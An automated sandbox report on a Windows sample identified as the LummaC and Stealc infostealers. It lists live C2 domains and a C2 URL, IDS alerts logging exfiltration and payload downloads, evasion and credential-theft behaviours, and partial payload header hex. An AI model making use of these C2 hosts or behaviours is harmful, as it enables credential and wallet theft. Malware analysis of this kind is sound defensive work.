Edit tour

Windows Analysis Report
Bire1g8ahY.exe

Overview

General Information

Sample name:	Bire1g8ahY.exe renamed because original name is a hash value
Original sample name:	3a5696def6e0a20dfeb8786eadff60a0.exe
Analysis ID:	1579765
MD5:	3a5696def6e0a20dfeb8786eadff60a0
SHA1:	e0a623473fdab0dd57963f4f621f90c04e7ba412
SHA256:	96768826305ca9bfb18ec1d67156f09094acc6aa2afea7dcd9ffa954585c5618
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Bire1g8ahY.exe (PID: 7312 cmdline: "C:\Users\user\Desktop\Bire1g8ahY.exe" MD5: 3A5696DEF6E0A20DFEB8786EADFF60A0)

4830TYWIJQ5SCGDL2FZPZJN92URB.exe (PID: 8184 cmdline: "C:\Users\user~1\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe" MD5: 579641D4119C3977AA3E5FDCBB740D8B)

1I4F16VK8DFW90DXD.exe (PID: 4132 cmdline: "C:\Users\user~1\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe" MD5: 59729E914FA8E15D347129643C03AC1F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: LummaC

{"C2 url": ["aspecteirs.lat", "necklacebudi.lat", "grannyejh.lat", "energyaffai.lat", "sustainskelet.lat", "crosshuaht.lat", "discokeyus.lat", "rapeflowwj.lat", "sweepyribs.lat"], "Build id": "PsFKDg--pablo"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1459996231.00000000012F9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1459850809.0000000001347000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.1767526123.00000000009AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1460101126.0000000001309000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.1765472956.00000000000C1000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000003.1678261591.00000000048C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: Bire1g8ahY.exe PID: 7312	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Bire1g8ahY.exe PID: 7312	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Bire1g8ahY.exe PID: 7312	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 1I4F16VK8DFW90DXD.exe PID: 4132	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 1I4F16VK8DFW90DXD.exe PID: 4132	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 6 entries

Sigma Signatures

System Summary

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe", CommandLine: "C:\Users\user~1\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe, ParentCommandLine: "C:\Users\user\Desktop\Bire1g8ahY.exe", ParentImage: C:\Users\user\Desktop\Bire1g8ahY.exe, ParentProcessId: 7312, ParentProcessName: Bire1g8ahY.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe", ProcessId: 8184, ProcessName: 4830TYWIJQ5SCGDL2FZPZJN92URB.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:44:17.023273+0100	2028371	3	Unknown Traffic	192.168.2.7	49700	104.102.49.254	443	TCP
2024-12-23T08:44:19.459135+0100	2028371	3	Unknown Traffic	192.168.2.7	49702	172.67.157.254	443	TCP
2024-12-23T08:44:21.367599+0100	2028371	3	Unknown Traffic	192.168.2.7	49703	172.67.157.254	443	TCP
2024-12-23T08:44:23.710003+0100	2028371	3	Unknown Traffic	192.168.2.7	49709	172.67.157.254	443	TCP
2024-12-23T08:44:26.129872+0100	2028371	3	Unknown Traffic	192.168.2.7	49716	172.67.157.254	443	TCP
2024-12-23T08:44:28.398732+0100	2028371	3	Unknown Traffic	192.168.2.7	49726	172.67.157.254	443	TCP
2024-12-23T08:44:30.969249+0100	2028371	3	Unknown Traffic	192.168.2.7	49734	172.67.157.254	443	TCP
2024-12-23T08:44:33.509038+0100	2028371	3	Unknown Traffic	192.168.2.7	49741	172.67.157.254	443	TCP
2024-12-23T08:44:37.266393+0100	2028371	3	Unknown Traffic	192.168.2.7	49751	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:44:20.079828+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49702	172.67.157.254	443	TCP
2024-12-23T08:44:22.129731+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49703	172.67.157.254	443	TCP
2024-12-23T08:44:38.037114+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49751	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:44:20.079828+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49702	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:44:22.129731+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49703	172.67.157.254	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:44:39.501817+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	49755	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:44:14.803531+0100	2058354	1	Domain Observed Used for C2 Detected	192.168.2.7	59111	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crosshuaht .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:44:15.093617+0100	2058358	1	Domain Observed Used for C2 Detected	192.168.2.7	56496	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:44:14.377231+0100	2058360	1	Domain Observed Used for C2 Detected	192.168.2.7	50486	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:44:14.661657+0100	2058362	1	Domain Observed Used for C2 Detected	192.168.2.7	60809	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:44:14.236830+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.7	63050	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacebudi .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:44:14.520439+0100	2058370	1	Domain Observed Used for C2 Detected	192.168.2.7	62729	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:44:15.233746+0100	2058374	1	Domain Observed Used for C2 Detected	192.168.2.7	60794	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sustainskelet .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:44:14.944775+0100	2058376	1	Domain Observed Used for C2 Detected	192.168.2.7	49555	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:44:14.093753+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.7	58819	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:44:31.738792+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49734	172.67.157.254	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:44:56.194881+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49791	185.215.113.206	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:44:33.607699+0100	2843864	1	A Network Trojan was detected	192.168.2.7	49741	172.67.157.254	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:44:17.818916+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.7	49700	104.102.49.254	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Bire1g8ahY.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe

Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: Bire1g8ahY.exe.7312.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["aspecteirs.lat", "necklacebudi.lat", "grannyejh.lat", "energyaffai.lat", "sustainskelet.lat", "crosshuaht.lat", "discokeyus.lat", "rapeflowwj.lat", "sweepyribs.lat"], "Build id": "PsFKDg--pablo"}
Source: 1I4F16VK8DFW90DXD.exe.4132.10.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Multi AV Scanner detection for submitted file

Source: Bire1g8ahY.exe

ReversingLabs: Detection: 55%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Bire1g8ahY.exe

Joe Sandbox ML: detected

Source: Bire1g8ahY.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49751 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 4830TYWIJQ5SCGDL2FZPZJN92URB.exe, 00000009.00000002.1760773784.00000000008F2000.00000040.00000001.01000000.00000006.sdmp

Source: C:\Users\user\Desktop\Bire1g8ahY.exe

Directory queried: number of queries: 1001

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058360 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat) : 192.168.2.7:50486 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058358 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crosshuaht .lat) : 192.168.2.7:56496 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058362 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat) : 192.168.2.7:60809 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058376 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sustainskelet .lat) : 192.168.2.7:49555 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058370 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacebudi .lat) : 192.168.2.7:62729 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.7:58819 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058354 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat) : 192.168.2.7:59111 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.7:63050 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058374 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat) : 192.168.2.7:60794 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49791 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49702 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49702 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.7:49700 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49734 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49751 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49703 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49703 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.7:49741 -> 172.67.157.254:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: sweepyribs.lat

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 07:44:38 GMTContent-Type: application/octet-streamContent-Length: 2765312Last-Modified: Mon, 23 Dec 2024 07:19:04 GMTConnection: keep-aliveETag: "67690ee8-2a3200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2a 00 00 04 00 00 fa c9 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 62 72 64 6f 66 70 68 65 00 c0 29 00 00 a0 00 00 00 a2 29 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 7a 6f 61 6c 76 6f 76 00 20 00 00 00 60 2a 00 00 06 00 00 00 0a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2a 00 00 22 00 00 00 10 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 07:44:43 GMTContent-Type: application/octet-streamContent-Length: 2835456Last-Modified: Mon, 23 Dec 2024 07:21:00 GMTConnection: keep-aliveETag: "67690f5c-2b4400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 70 4e 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 a0 4e 00 00 04 00 00 84 4c 2b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 79 6e 71 72 69 63 72 6f 00 a0 29 00 00 c0 24 00 00 a0 29 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 6a 6c 76 79 6c 64 6c 00 10 00 00 00 60 4e 00 00 06 00 00 00 1c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 4e 00 00 